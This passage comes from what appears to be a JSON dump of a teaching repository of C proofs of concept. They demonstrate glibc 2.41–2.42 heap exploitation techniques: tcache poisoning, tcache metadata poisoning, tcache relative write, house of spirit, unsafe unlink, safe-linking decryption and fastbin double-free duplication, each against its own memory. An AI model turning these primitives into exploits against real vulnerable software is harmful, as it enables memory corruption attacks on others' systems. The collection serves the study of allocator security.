    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.41/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.41/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.41/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x938;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.41/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.42/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.42/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Allocate buffers to fill up tcache and prep fastbin.\\n\");\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\tprintf(\"1st malloc(8): %p\\n\", a);\n\tprintf(\"2nd malloc(8): %p\\n\", b);\n\tprintf(\"3rd malloc(8): %p\\n\", c);\n\n\tprintf(\"Fill up tcache.\\n\");\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Freeing the first chunk %p...\\n\", a);\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\t/* VULNERABILITY */\n\tfree(a);\n\t/* VULNERABILITY */\n\n\tprintf(\"In order to use the free list for allocation, we'll need to empty the tcache.\\n\");\n\tprintf(\"This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.\");\n\tprintf(\"Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\tputs(\"Note that since glibc 2.41, malloc and calloc behave the same in terms of the usage of tcache and fastbin, so it doesn't matter whether we use malloc or calloc here.\");\n\ta = malloc(8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st malloc(8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.42/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.42/fastbin_dup_into_stack.c",
